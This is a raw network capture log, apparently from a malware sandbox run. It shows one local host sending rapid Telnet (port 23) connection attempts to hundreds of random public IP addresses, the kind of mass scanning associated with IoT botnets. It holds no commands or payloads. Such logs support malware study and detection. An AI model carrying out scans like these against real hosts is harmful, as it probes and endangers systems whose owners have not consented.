Jan 30, 2025 10:43:01.065397024 CET	63367	23	192.168.2.14	204.214.35.136
Jan 30, 2025 10:43:01.065397024 CET	63367	23	192.168.2.14	123.68.251.23
Jan 30, 2025 10:43:01.065398932 CET	63367	23	192.168.2.14	181.192.115.32
Jan 30, 2025 10:43:01.065399885 CET	63367	23	192.168.2.14	52.129.19.211
Jan 30, 2025 10:43:01.065401077 CET	63367	23	192.168.2.14	113.233.194.88
Jan 30, 2025 10:43:01.065399885 CET	63367	23	192.168.2.14	53.130.105.81
Jan 30, 2025 10:43:01.065399885 CET	63367	23	192.168.2.14	66.60.155.218
Jan 30, 2025 10:43:01.065399885 CET	63367	23	192.168.2.14	130.5.92.27
Jan 30, 2025 10:43:01.065401077 CET	63367	23	192.168.2.14	37.210.207.248
Jan 30, 2025 10:43:01.065401077 CET	63367	23	192.168.2.14	126.40.173.88
Jan 30, 2025 10:43:01.065402031 CET	63367	23	192.168.2.14	139.217.190.2
Jan 30, 2025 10:43:01.065408945 CET	63367	23	192.168.2.14	120.191.151.168
Jan 30, 2025 10:43:01.065408945 CET	63367	23	192.168.2.14	118.69.115.109
Jan 30, 2025 10:43:01.065402031 CET	63367	23	192.168.2.14	209.58.156.240
Jan 30, 2025 10:43:01.065408945 CET	63367	23	192.168.2.14	209.115.124.154
Jan 30, 2025 10:43:01.065409899 CET	63367	23	192.168.2.14	160.126.2.56
Jan 30, 2025 10:43:01.065409899 CET	63367	23	192.168.2.14	198.146.138.32
Jan 30, 2025 10:43:01.065402031 CET	63367	23	192.168.2.14	71.17.27.202
Jan 30, 2025 10:43:01.065414906 CET	63367	23	192.168.2.14	41.129.14.41
Jan 30, 2025 10:43:01.065418959 CET	63367	23	192.168.2.14	118.135.49.33
Jan 30, 2025 10:43:01.065419912 CET	63367	23	192.168.2.14	54.170.13.142
Jan 30, 2025 10:43:01.065419912 CET	63367	23	192.168.2.14	147.21.130.54
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	19.181.151.96
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	156.209.168.79
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	13.104.76.218
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	150.198.141.14
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	4.137.136.151
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	46.190.6.31
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	189.162.96.228
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	219.240.211.103
Jan 30, 2025 10:43:01.065421104 CET	63367	23	192.168.2.14	181.150.37.203
Jan 30, 2025 10:43:01.065434933 CET	63367	23	192.168.2.14	138.125.147.212
Jan 30, 2025 10:43:01.065434933 CET	63367	23	192.168.2.14	130.64.68.103
Jan 30, 2025 10:43:01.065438986 CET	63367	23	192.168.2.14	206.97.22.252
Jan 30, 2025 10:43:01.065438986 CET	63367	23	192.168.2.14	71.190.47.184
Jan 30, 2025 10:43:01.065438986 CET	63367	23	192.168.2.14	31.66.127.181
Jan 30, 2025 10:43:01.065438986 CET	63367	23	192.168.2.14	71.172.105.133
Jan 30, 2025 10:43:01.065438986 CET	63367	23	192.168.2.14	79.77.43.103
Jan 30, 2025 10:43:01.065457106 CET	63367	23	192.168.2.14	120.86.92.252
Jan 30, 2025 10:43:01.065459013 CET	63367	23	192.168.2.14	115.242.154.11
Jan 30, 2025 10:43:01.065475941 CET	63367	23	192.168.2.14	175.26.98.12
Jan 30, 2025 10:43:01.065475941 CET	63367	23	192.168.2.14	62.130.55.85
Jan 30, 2025 10:43:01.065488100 CET	63367	23	192.168.2.14	23.177.85.210
Jan 30, 2025 10:43:01.065489054 CET	63367	23	192.168.2.14	188.54.99.162
Jan 30, 2025 10:43:01.065498114 CET	63367	23	192.168.2.14	36.113.216.230
Jan 30, 2025 10:43:01.065498114 CET	63367	23	192.168.2.14	212.14.89.47
Jan 30, 2025 10:43:01.065511942 CET	63367	23	192.168.2.14	49.200.185.252
Jan 30, 2025 10:43:01.065511942 CET	63367	23	192.168.2.14	61.201.227.190
Jan 30, 2025 10:43:01.065517902 CET	63367	23	192.168.2.14	196.249.162.217
Jan 30, 2025 10:43:01.065529108 CET	63367	23	192.168.2.14	18.23.236.71
Jan 30, 2025 10:43:01.065529108 CET	63367	23	192.168.2.14	101.206.170.211
Jan 30, 2025 10:43:01.065529108 CET	63367	23	192.168.2.14	76.54.210.82
Jan 30, 2025 10:43:01.065529108 CET	63367	23	192.168.2.14	180.224.215.152
Jan 30, 2025 10:43:01.065551043 CET	63367	23	192.168.2.14	146.161.1.164
Jan 30, 2025 10:43:01.065551996 CET	63367	23	192.168.2.14	180.51.16.88
Jan 30, 2025 10:43:01.065552950 CET	63367	23	192.168.2.14	148.80.44.119
Jan 30, 2025 10:43:01.065567017 CET	63367	23	192.168.2.14	208.14.71.186
Jan 30, 2025 10:43:01.065572977 CET	63367	23	192.168.2.14	74.195.245.220
Jan 30, 2025 10:43:01.065578938 CET	63367	23	192.168.2.14	83.20.179.230
Jan 30, 2025 10:43:01.065592051 CET	63367	23	192.168.2.14	183.184.29.91
Jan 30, 2025 10:43:01.065592051 CET	63367	23	192.168.2.14	58.32.174.139
Jan 30, 2025 10:43:01.065593004 CET	63367	23	192.168.2.14	210.67.47.75
Jan 30, 2025 10:43:01.065593958 CET	63367	23	192.168.2.14	145.219.129.79
Jan 30, 2025 10:43:01.065593958 CET	63367	23	192.168.2.14	78.75.158.95
Jan 30, 2025 10:43:01.065594912 CET	63367	23	192.168.2.14	145.214.141.157
Jan 30, 2025 10:43:01.065623999 CET	63367	23	192.168.2.14	101.149.224.228
Jan 30, 2025 10:43:01.065629959 CET	63367	23	192.168.2.14	155.11.125.96
Jan 30, 2025 10:43:01.065637112 CET	63367	23	192.168.2.14	67.151.126.237
Jan 30, 2025 10:43:01.065637112 CET	63367	23	192.168.2.14	102.25.100.22
Jan 30, 2025 10:43:01.065642118 CET	63367	23	192.168.2.14	102.137.16.190
Jan 30, 2025 10:43:01.065656900 CET	63367	23	192.168.2.14	115.49.211.214
Jan 30, 2025 10:43:01.065663099 CET	63367	23	192.168.2.14	193.51.95.231
Jan 30, 2025 10:43:01.065668106 CET	63367	23	192.168.2.14	36.127.10.60
Jan 30, 2025 10:43:01.065668106 CET	63367	23	192.168.2.14	129.177.71.194
Jan 30, 2025 10:43:01.065679073 CET	63367	23	192.168.2.14	95.171.41.50
Jan 30, 2025 10:43:01.065679073 CET	63367	23	192.168.2.14	157.181.22.50
Jan 30, 2025 10:43:01.065686941 CET	63367	23	192.168.2.14	95.213.28.211
Jan 30, 2025 10:43:01.065690994 CET	63367	23	192.168.2.14	71.173.156.112
Jan 30, 2025 10:43:01.065694094 CET	63367	23	192.168.2.14	20.72.13.6
Jan 30, 2025 10:43:01.065694094 CET	63367	23	192.168.2.14	213.38.200.146
Jan 30, 2025 10:43:01.065694094 CET	63367	23	192.168.2.14	96.164.102.216
Jan 30, 2025 10:43:01.065694094 CET	63367	23	192.168.2.14	50.50.253.209
Jan 30, 2025 10:43:01.065694094 CET	63367	23	192.168.2.14	158.136.178.121
Jan 30, 2025 10:43:01.065694094 CET	63367	23	192.168.2.14	41.14.102.205
Jan 30, 2025 10:43:01.065710068 CET	63367	23	192.168.2.14	146.87.42.49
Jan 30, 2025 10:43:01.065711021 CET	63367	23	192.168.2.14	27.126.30.103
Jan 30, 2025 10:43:01.065711021 CET	63367	23	192.168.2.14	91.21.73.233
Jan 30, 2025 10:43:01.065723896 CET	63367	23	192.168.2.14	128.190.62.93
Jan 30, 2025 10:43:01.065731049 CET	63367	23	192.168.2.14	163.65.71.27
Jan 30, 2025 10:43:01.065745115 CET	63367	23	192.168.2.14	64.113.61.171
Jan 30, 2025 10:43:01.065747976 CET	63367	23	192.168.2.14	128.91.120.131
Jan 30, 2025 10:43:01.065748930 CET	63367	23	192.168.2.14	182.185.190.22
Jan 30, 2025 10:43:01.065748930 CET	63367	23	192.168.2.14	78.186.197.173
Jan 30, 2025 10:43:01.065747976 CET	63367	23	192.168.2.14	173.18.137.77
Jan 30, 2025 10:43:01.065747976 CET	63367	23	192.168.2.14	162.221.129.223
Jan 30, 2025 10:43:01.065747976 CET	63367	23	192.168.2.14	195.113.186.72
Jan 30, 2025 10:43:01.065747976 CET	63367	23	192.168.2.14	149.174.195.110
Jan 30, 2025 10:43:01.065748930 CET	63367	23	192.168.2.14	64.229.182.89
Jan 30, 2025 10:43:01.065748930 CET	63367	23	192.168.2.14	221.22.2.148
Jan 30, 2025 10:43:01.065754890 CET	63367	23	192.168.2.14	145.164.191.111
Jan 30, 2025 10:43:01.065756083 CET	63367	23	192.168.2.14	2.120.59.215
Jan 30, 2025 10:43:01.065773010 CET	63367	23	192.168.2.14	144.156.60.183
Jan 30, 2025 10:43:01.065778971 CET	63367	23	192.168.2.14	167.152.226.100
Jan 30, 2025 10:43:01.065785885 CET	63367	23	192.168.2.14	57.135.170.200
Jan 30, 2025 10:43:01.065785885 CET	63367	23	192.168.2.14	137.121.68.6
Jan 30, 2025 10:43:01.065785885 CET	63367	23	192.168.2.14	149.149.116.215
Jan 30, 2025 10:43:01.065787077 CET	63367	23	192.168.2.14	42.25.243.168
Jan 30, 2025 10:43:01.065788984 CET	63367	23	192.168.2.14	147.63.219.228
Jan 30, 2025 10:43:01.065788984 CET	63367	23	192.168.2.14	137.147.179.187
Jan 30, 2025 10:43:01.065799952 CET	63367	23	192.168.2.14	47.38.218.58
Jan 30, 2025 10:43:01.065813065 CET	63367	23	192.168.2.14	176.201.252.89
Jan 30, 2025 10:43:01.065813065 CET	63367	23	192.168.2.14	129.42.84.187
Jan 30, 2025 10:43:01.065818071 CET	63367	23	192.168.2.14	51.0.195.180
Jan 30, 2025 10:43:01.065818071 CET	63367	23	192.168.2.14	218.59.209.145
Jan 30, 2025 10:43:01.065821886 CET	63367	23	192.168.2.14	171.17.215.188
Jan 30, 2025 10:43:01.065829039 CET	63367	23	192.168.2.14	54.147.194.82
Jan 30, 2025 10:43:01.065829992 CET	63367	23	192.168.2.14	208.193.59.116
Jan 30, 2025 10:43:01.065833092 CET	63367	23	192.168.2.14	171.151.89.191
Jan 30, 2025 10:43:01.065840960 CET	63367	23	192.168.2.14	123.94.229.121
Jan 30, 2025 10:43:01.065844059 CET	63367	23	192.168.2.14	70.201.2.149
Jan 30, 2025 10:43:01.065850019 CET	63367	23	192.168.2.14	101.196.145.46
Jan 30, 2025 10:43:01.065867901 CET	63367	23	192.168.2.14	197.56.126.143
Jan 30, 2025 10:43:01.065876007 CET	63367	23	192.168.2.14	42.141.103.50
Jan 30, 2025 10:43:01.065881968 CET	63367	23	192.168.2.14	223.59.190.240
Jan 30, 2025 10:43:01.065881968 CET	63367	23	192.168.2.14	5.83.19.62
Jan 30, 2025 10:43:01.065888882 CET	63367	23	192.168.2.14	93.62.148.117
Jan 30, 2025 10:43:01.065891027 CET	63367	23	192.168.2.14	209.172.140.52
Jan 30, 2025 10:43:01.065891027 CET	63367	23	192.168.2.14	178.54.156.0
Jan 30, 2025 10:43:01.065892935 CET	63367	23	192.168.2.14	98.189.94.208
Jan 30, 2025 10:43:01.065903902 CET	63367	23	192.168.2.14	152.182.178.216
Jan 30, 2025 10:43:01.065912008 CET	63367	23	192.168.2.14	196.15.177.3
Jan 30, 2025 10:43:01.065921068 CET	63367	23	192.168.2.14	61.236.31.231
Jan 30, 2025 10:43:01.065921068 CET	63367	23	192.168.2.14	160.221.202.66
Jan 30, 2025 10:43:01.065936089 CET	63367	23	192.168.2.14	210.97.222.114
Jan 30, 2025 10:43:01.065938950 CET	63367	23	192.168.2.14	115.8.47.69
Jan 30, 2025 10:43:01.065948963 CET	63367	23	192.168.2.14	18.106.150.235
Jan 30, 2025 10:43:01.065962076 CET	63367	23	192.168.2.14	65.150.157.206
Jan 30, 2025 10:43:01.065962076 CET	63367	23	192.168.2.14	13.213.79.124
Jan 30, 2025 10:43:01.065962076 CET	63367	23	192.168.2.14	182.12.48.198
Jan 30, 2025 10:43:01.065974951 CET	63367	23	192.168.2.14	153.156.118.111
Jan 30, 2025 10:43:01.065974951 CET	63367	23	192.168.2.14	120.119.170.71
Jan 30, 2025 10:43:01.065979004 CET	63367	23	192.168.2.14	169.147.43.8
Jan 30, 2025 10:43:01.065992117 CET	63367	23	192.168.2.14	107.177.145.68
Jan 30, 2025 10:43:01.065992117 CET	63367	23	192.168.2.14	176.60.94.125
Jan 30, 2025 10:43:01.066003084 CET	63367	23	192.168.2.14	130.59.128.58
Jan 30, 2025 10:43:01.066024065 CET	63367	23	192.168.2.14	37.209.168.209
Jan 30, 2025 10:43:01.066024065 CET	63367	23	192.168.2.14	139.101.209.77
Jan 30, 2025 10:43:01.066028118 CET	63367	23	192.168.2.14	164.171.209.121
Jan 30, 2025 10:43:01.066028118 CET	63367	23	192.168.2.14	102.105.148.58
Jan 30, 2025 10:43:01.066041946 CET	63367	23	192.168.2.14	62.122.13.34
Jan 30, 2025 10:43:01.066056013 CET	63367	23	192.168.2.14	36.20.115.85
Jan 30, 2025 10:43:01.066061020 CET	63367	23	192.168.2.14	118.153.208.97
Jan 30, 2025 10:43:01.066065073 CET	63367	23	192.168.2.14	124.75.49.29
Jan 30, 2025 10:43:01.066068888 CET	63367	23	192.168.2.14	84.194.45.47
Jan 30, 2025 10:43:01.066082001 CET	63367	23	192.168.2.14	81.132.192.254
Jan 30, 2025 10:43:01.066082001 CET	63367	23	192.168.2.14	158.3.32.50
Jan 30, 2025 10:43:01.066083908 CET	63367	23	192.168.2.14	136.158.125.121
Jan 30, 2025 10:43:01.066083908 CET	63367	23	192.168.2.14	153.121.198.204
Jan 30, 2025 10:43:01.066090107 CET	63367	23	192.168.2.14	195.228.131.9
Jan 30, 2025 10:43:01.066091061 CET	63367	23	192.168.2.14	76.154.45.107
Jan 30, 2025 10:43:01.066102028 CET	63367	23	192.168.2.14	63.151.245.18
Jan 30, 2025 10:43:01.066116095 CET	63367	23	192.168.2.14	83.125.217.86
Jan 30, 2025 10:43:01.066132069 CET	63367	23	192.168.2.14	174.32.140.242
Jan 30, 2025 10:43:01.066135883 CET	63367	23	192.168.2.14	82.96.100.221
Jan 30, 2025 10:43:01.066164970 CET	63367	23	192.168.2.14	197.13.222.145
Jan 30, 2025 10:43:01.066174030 CET	63367	23	192.168.2.14	39.79.51.47
Jan 30, 2025 10:43:01.067418098 CET	60886	23	192.168.2.14	63.236.222.92
Jan 30, 2025 10:43:01.069175959 CET	46786	23	192.168.2.14	131.40.175.45
Jan 30, 2025 10:43:01.069257021 CET	23	63367	4.184.231.164	192.168.2.14
Jan 30, 2025 10:43:01.069291115 CET	23	63367	222.205.253.197	192.168.2.14
Jan 30, 2025 10:43:01.069304943 CET	23	63367	98.63.41.248	192.168.2.14
Jan 30, 2025 10:43:01.069308043 CET	63367	23	192.168.2.14	4.184.231.164
Jan 30, 2025 10:43:01.069339037 CET	63367	23	192.168.2.14	222.205.253.197
Jan 30, 2025 10:43:01.069339037 CET	63367	23	192.168.2.14	98.63.41.248
Jan 30, 2025 10:43:01.069351912 CET	23	63367	115.119.249.212	192.168.2.14
Jan 30, 2025 10:43:01.069364071 CET	23	63367	149.43.209.23	192.168.2.14
Jan 30, 2025 10:43:01.069374084 CET	23	63367	124.164.206.117	192.168.2.14
Jan 30, 2025 10:43:01.069406033 CET	63367	23	192.168.2.14	124.164.206.117
Jan 30, 2025 10:43:01.069417953 CET	63367	23	192.168.2.14	115.119.249.212
Jan 30, 2025 10:43:01.069449902 CET	63367	23	192.168.2.14	149.43.209.23
Jan 30, 2025 10:43:01.069792986 CET	23	63367	174.246.95.55	192.168.2.14
Jan 30, 2025 10:43:01.069803953 CET	23	63367	1.126.127.148	192.168.2.14
Jan 30, 2025 10:43:01.069813967 CET	23	63367	114.158.187.219	192.168.2.14
Jan 30, 2025 10:43:01.069829941 CET	63367	23	192.168.2.14	174.246.95.55
Jan 30, 2025 10:43:01.069849968 CET	63367	23	192.168.2.14	1.126.127.148
Jan 30, 2025 10:43:01.069850922 CET	63367	23	192.168.2.14	114.158.187.219
Jan 30, 2025 10:43:01.069911957 CET	23	63367	70.79.214.205	192.168.2.14
Jan 30, 2025 10:43:01.069924116 CET	23	63367	174.222.74.15	192.168.2.14
Jan 30, 2025 10:43:01.069932938 CET	23	63367	161.37.115.158	192.168.2.14
Jan 30, 2025 10:43:01.069943905 CET	23	63367	219.208.206.52	192.168.2.14
Jan 30, 2025 10:43:01.069956064 CET	23	63367	166.85.208.113	192.168.2.14
Jan 30, 2025 10:43:01.069957972 CET	63367	23	192.168.2.14	70.79.214.205
Jan 30, 2025 10:43:01.069968939 CET	63367	23	192.168.2.14	174.222.74.15
Jan 30, 2025 10:43:01.069969893 CET	63367	23	192.168.2.14	161.37.115.158
Jan 30, 2025 10:43:01.069971085 CET	23	63367	66.201.138.216	192.168.2.14
Jan 30, 2025 10:43:01.069969893 CET	63367	23	192.168.2.14	219.208.206.52
Jan 30, 2025 10:43:01.069986105 CET	23	63367	115.52.154.225	192.168.2.14
Jan 30, 2025 10:43:01.070003986 CET	63367	23	192.168.2.14	166.85.208.113
Jan 30, 2025 10:43:01.070008039 CET	63367	23	192.168.2.14	66.201.138.216
Jan 30, 2025 10:43:01.070015907 CET	23	63367	207.193.26.206	192.168.2.14
Jan 30, 2025 10:43:01.070020914 CET	63367	23	192.168.2.14	115.52.154.225
Jan 30, 2025 10:43:01.070029020 CET	23	63367	133.79.205.211	192.168.2.14
Jan 30, 2025 10:43:01.070039034 CET	23	63367	74.35.217.202	192.168.2.14
Jan 30, 2025 10:43:01.070055962 CET	23	63367	35.250.114.97	192.168.2.14
Jan 30, 2025 10:43:01.070060968 CET	63367	23	192.168.2.14	207.193.26.206
Jan 30, 2025 10:43:01.070070982 CET	23	63367	207.65.255.65	192.168.2.14
Jan 30, 2025 10:43:01.070070982 CET	63367	23	192.168.2.14	133.79.205.211
Jan 30, 2025 10:43:01.070084095 CET	23	63367	154.105.133.112	192.168.2.14
Jan 30, 2025 10:43:01.070086956 CET	63367	23	192.168.2.14	74.35.217.202
Jan 30, 2025 10:43:01.070102930 CET	63367	23	192.168.2.14	207.65.255.65
Jan 30, 2025 10:43:01.070111036 CET	23	63367	144.20.183.93	192.168.2.14
Jan 30, 2025 10:43:01.070120096 CET	63367	23	192.168.2.14	35.250.114.97
Jan 30, 2025 10:43:01.070120096 CET	63367	23	192.168.2.14	154.105.133.112
Jan 30, 2025 10:43:01.070122004 CET	23	63367	179.108.58.90	192.168.2.14
Jan 30, 2025 10:43:01.070132017 CET	23	63367	96.132.171.214	192.168.2.14
Jan 30, 2025 10:43:01.070147038 CET	23	63367	112.68.89.33	192.168.2.14
Jan 30, 2025 10:43:01.070158958 CET	23	63367	163.170.73.192	192.168.2.14
Jan 30, 2025 10:43:01.070166111 CET	63367	23	192.168.2.14	144.20.183.93
Jan 30, 2025 10:43:01.070168018 CET	63367	23	192.168.2.14	179.108.58.90
Jan 30, 2025 10:43:01.070172071 CET	63367	23	192.168.2.14	96.132.171.214
Jan 30, 2025 10:43:01.070172071 CET	23	63367	218.198.1.6	192.168.2.14
Jan 30, 2025 10:43:01.070180893 CET	63367	23	192.168.2.14	112.68.89.33
Jan 30, 2025 10:43:01.070195913 CET	63367	23	192.168.2.14	163.170.73.192
Jan 30, 2025 10:43:01.070195913 CET	23	63367	130.192.107.69	192.168.2.14
Jan 30, 2025 10:43:01.070209026 CET	23	63367	45.247.242.78	192.168.2.14
Jan 30, 2025 10:43:01.070215940 CET	63367	23	192.168.2.14	218.198.1.6
Jan 30, 2025 10:43:01.070220947 CET	23	63367	218.163.109.72	192.168.2.14
Jan 30, 2025 10:43:01.070235014 CET	23	63367	207.156.251.11	192.168.2.14
Jan 30, 2025 10:43:01.070246935 CET	63367	23	192.168.2.14	130.192.107.69
Jan 30, 2025 10:43:01.070246935 CET	63367	23	192.168.2.14	45.247.242.78
Jan 30, 2025 10:43:01.070249081 CET	23	63367	95.243.224.0	192.168.2.14
Jan 30, 2025 10:43:01.070267916 CET	63367	23	192.168.2.14	218.163.109.72
Jan 30, 2025 10:43:01.070267916 CET	63367	23	192.168.2.14	207.156.251.11
Jan 30, 2025 10:43:01.070278883 CET	23	63367	52.235.120.203	192.168.2.14
Jan 30, 2025 10:43:01.070312977 CET	63367	23	192.168.2.14	52.235.120.203
Jan 30, 2025 10:43:01.070349932 CET	63367	23	192.168.2.14	95.243.224.0
Jan 30, 2025 10:43:01.070543051 CET	59088	23	192.168.2.14	114.144.107.189
Jan 30, 2025 10:43:01.070564985 CET	23	63367	80.16.16.73	192.168.2.14
Jan 30, 2025 10:43:01.070575953 CET	23	63367	88.8.84.132	192.168.2.14
Jan 30, 2025 10:43:01.070586920 CET	23	63367	57.248.171.221	192.168.2.14
Jan 30, 2025 10:43:01.070606947 CET	63367	23	192.168.2.14	88.8.84.132
Jan 30, 2025 10:43:01.070609093 CET	23	63367	207.6.5.88	192.168.2.14
Jan 30, 2025 10:43:01.070621014 CET	23	63367	165.171.247.100	192.168.2.14
Jan 30, 2025 10:43:01.070627928 CET	63367	23	192.168.2.14	80.16.16.73
Jan 30, 2025 10:43:01.070631027 CET	63367	23	192.168.2.14	57.248.171.221
Jan 30, 2025 10:43:01.070632935 CET	23	63367	52.58.16.35	192.168.2.14
Jan 30, 2025 10:43:01.070653915 CET	23	63367	156.244.158.220	192.168.2.14
Jan 30, 2025 10:43:01.070657969 CET	63367	23	192.168.2.14	207.6.5.88
Jan 30, 2025 10:43:01.070667028 CET	23	63367	44.189.93.236	192.168.2.14
Jan 30, 2025 10:43:01.070674896 CET	63367	23	192.168.2.14	165.171.247.100
Jan 30, 2025 10:43:01.070679903 CET	23	63367	45.88.139.207	192.168.2.14
Jan 30, 2025 10:43:01.070683956 CET	63367	23	192.168.2.14	52.58.16.35
Jan 30, 2025 10:43:01.070688963 CET	63367	23	192.168.2.14	156.244.158.220
Jan 30, 2025 10:43:01.070693016 CET	23	63367	187.40.85.32	192.168.2.14
Jan 30, 2025 10:43:01.070703983 CET	23	63367	89.164.28.186	192.168.2.14
Jan 30, 2025 10:43:01.070708036 CET	63367	23	192.168.2.14	44.189.93.236
Jan 30, 2025 10:43:01.070715904 CET	23	63367	177.242.34.98	192.168.2.14
Jan 30, 2025 10:43:01.070724964 CET	63367	23	192.168.2.14	45.88.139.207
Jan 30, 2025 10:43:01.070728064 CET	23	63367	125.185.81.164	192.168.2.14
Jan 30, 2025 10:43:01.070741892 CET	23	63367	113.39.160.11	192.168.2.14
Jan 30, 2025 10:43:01.070741892 CET	63367	23	192.168.2.14	89.164.28.186
Jan 30, 2025 10:43:01.070749044 CET	63367	23	192.168.2.14	187.40.85.32
Jan 30, 2025 10:43:01.070749044 CET	63367	23	192.168.2.14	177.242.34.98
Jan 30, 2025 10:43:01.070759058 CET	63367	23	192.168.2.14	125.185.81.164
Jan 30, 2025 10:43:01.070777893 CET	23	63367	100.255.75.83	192.168.2.14
Jan 30, 2025 10:43:01.070789099 CET	23	63367	107.128.78.141	192.168.2.14
Jan 30, 2025 10:43:01.070792913 CET	63367	23	192.168.2.14	113.39.160.11
Jan 30, 2025 10:43:01.070811033 CET	23	63367	52.163.220.16	192.168.2.14
Jan 30, 2025 10:43:01.070820093 CET	63367	23	192.168.2.14	100.255.75.83
Jan 30, 2025 10:43:01.070820093 CET	63367	23	192.168.2.14	107.128.78.141
Jan 30, 2025 10:43:01.070826054 CET	23	63367	149.45.37.231	192.168.2.14
Jan 30, 2025 10:43:01.070838928 CET	23	63367	113.153.228.153	192.168.2.14
Jan 30, 2025 10:43:01.070852041 CET	63367	23	192.168.2.14	52.163.220.16
Jan 30, 2025 10:43:01.070852995 CET	23	63367	63.90.0.159	192.168.2.14
Jan 30, 2025 10:43:01.070867062 CET	23	63367	86.215.101.48	192.168.2.14
Jan 30, 2025 10:43:01.070871115 CET	63367	23	192.168.2.14	149.45.37.231
Jan 30, 2025 10:43:01.070879936 CET	23	63367	66.5.149.202	192.168.2.14
Jan 30, 2025 10:43:01.070882082 CET	63367	23	192.168.2.14	113.153.228.153
Jan 30, 2025 10:43:01.070894003 CET	23	63367	138.241.139.171	192.168.2.14
Jan 30, 2025 10:43:01.070908070 CET	23	63367	106.133.150.71	192.168.2.14
Jan 30, 2025 10:43:01.070918083 CET	23	63367	2.196.171.54	192.168.2.14
Jan 30, 2025 10:43:01.070920944 CET	63367	23	192.168.2.14	86.215.101.48
Jan 30, 2025 10:43:01.070921898 CET	63367	23	192.168.2.14	63.90.0.159
Jan 30, 2025 10:43:01.070930004 CET	23	63367	47.63.142.185	192.168.2.14
Jan 30, 2025 10:43:01.070940018 CET	63367	23	192.168.2.14	138.241.139.171
Jan 30, 2025 10:43:01.070940971 CET	23	63367	34.208.77.95	192.168.2.14
Jan 30, 2025 10:43:01.070941925 CET	63367	23	192.168.2.14	66.5.149.202
Jan 30, 2025 10:43:01.070945024 CET	63367	23	192.168.2.14	106.133.150.71
Jan 30, 2025 10:43:01.070954084 CET	23	63367	175.247.65.156	192.168.2.14
Jan 30, 2025 10:43:01.070955038 CET	63367	23	192.168.2.14	2.196.171.54
Jan 30, 2025 10:43:01.070981026 CET	63367	23	192.168.2.14	47.63.142.185
Jan 30, 2025 10:43:01.070981979 CET	63367	23	192.168.2.14	34.208.77.95
Jan 30, 2025 10:43:01.070986032 CET	63367	23	192.168.2.14	175.247.65.156
Jan 30, 2025 10:43:01.071217060 CET	23	63367	92.107.3.223	192.168.2.14
Jan 30, 2025 10:43:01.071228981 CET	23	63367	84.82.153.238	192.168.2.14
Jan 30, 2025 10:43:01.071239948 CET	23	63367	112.202.221.69	192.168.2.14
Jan 30, 2025 10:43:01.071250916 CET	23	63367	39.55.164.111	192.168.2.14
Jan 30, 2025 10:43:01.071263075 CET	23	63367	94.37.158.220	192.168.2.14
Jan 30, 2025 10:43:01.071270943 CET	63367	23	192.168.2.14	112.202.221.69
Jan 30, 2025 10:43:01.071270943 CET	63367	23	192.168.2.14	84.82.153.238
Jan 30, 2025 10:43:01.071276903 CET	23	63367	121.235.128.89	192.168.2.14
Jan 30, 2025 10:43:01.071284056 CET	63367	23	192.168.2.14	92.107.3.223
Jan 30, 2025 10:43:01.071289062 CET	23	63367	195.209.123.46	192.168.2.14
Jan 30, 2025 10:43:01.071296930 CET	63367	23	192.168.2.14	94.37.158.220
Jan 30, 2025 10:43:01.071310043 CET	23	63367	118.152.60.0	192.168.2.14
Jan 30, 2025 10:43:01.071325064 CET	63367	23	192.168.2.14	39.55.164.111
Jan 30, 2025 10:43:01.071332932 CET	23	63367	149.159.124.52	192.168.2.14
Jan 30, 2025 10:43:01.071333885 CET	63367	23	192.168.2.14	195.209.123.46
Jan 30, 2025 10:43:01.071333885 CET	63367	23	192.168.2.14	121.235.128.89
Jan 30, 2025 10:43:01.071346998 CET	23	63367	167.199.178.132	192.168.2.14
Jan 30, 2025 10:43:01.071347952 CET	63367	23	192.168.2.14	118.152.60.0
Jan 30, 2025 10:43:01.071358919 CET	23	63367	222.237.230.249	192.168.2.14
Jan 30, 2025 10:43:01.071371078 CET	23	63367	167.100.59.247	192.168.2.14
Jan 30, 2025 10:43:01.071382046 CET	63367	23	192.168.2.14	149.159.124.52
Jan 30, 2025 10:43:01.071382046 CET	63367	23	192.168.2.14	167.199.178.132
Jan 30, 2025 10:43:01.071382999 CET	23	63367	151.227.57.130	192.168.2.14
Jan 30, 2025 10:43:01.071391106 CET	63367	23	192.168.2.14	222.237.230.249
Jan 30, 2025 10:43:01.071398020 CET	23	63367	168.84.215.80	192.168.2.14
Jan 30, 2025 10:43:01.071413040 CET	23	63367	154.119.116.238	192.168.2.14
Jan 30, 2025 10:43:01.071413040 CET	63367	23	192.168.2.14	167.100.59.247
Jan 30, 2025 10:43:01.071413994 CET	63367	23	192.168.2.14	151.227.57.130
Jan 30, 2025 10:43:01.071425915 CET	23	63367	133.132.103.233	192.168.2.14
Jan 30, 2025 10:43:01.071432114 CET	63367	23	192.168.2.14	168.84.215.80
Jan 30, 2025 10:43:01.071439028 CET	23	63367	139.106.210.115	192.168.2.14
Jan 30, 2025 10:43:01.071449995 CET	63367	23	192.168.2.14	154.119.116.238
Jan 30, 2025 10:43:01.071456909 CET	63367	23	192.168.2.14	133.132.103.233
Jan 30, 2025 10:43:01.071465015 CET	23	63367	155.204.214.12	192.168.2.14
Jan 30, 2025 10:43:01.071470976 CET	63367	23	192.168.2.14	139.106.210.115
Jan 30, 2025 10:43:01.071482897 CET	23	63367	135.53.24.115	192.168.2.14
Jan 30, 2025 10:43:01.071497917 CET	23	63367	151.222.69.180	192.168.2.14
Jan 30, 2025 10:43:01.071504116 CET	63367	23	192.168.2.14	155.204.214.12
Jan 30, 2025 10:43:01.071510077 CET	23	63367	94.134.197.200	192.168.2.14
Jan 30, 2025 10:43:01.071521044 CET	63367	23	192.168.2.14	135.53.24.115
Jan 30, 2025 10:43:01.071521997 CET	23	63367	27.224.82.193	192.168.2.14
Jan 30, 2025 10:43:01.071537018 CET	23	63367	42.118.225.217	192.168.2.14
Jan 30, 2025 10:43:01.071540117 CET	63367	23	192.168.2.14	94.134.197.200
Jan 30, 2025 10:43:01.071551085 CET	23	63367	96.57.191.189	192.168.2.14
Jan 30, 2025 10:43:01.071557999 CET	63367	23	192.168.2.14	151.222.69.180
Jan 30, 2025 10:43:01.071557999 CET	63367	23	192.168.2.14	27.224.82.193
Jan 30, 2025 10:43:01.071568966 CET	23	63367	206.64.86.124	192.168.2.14
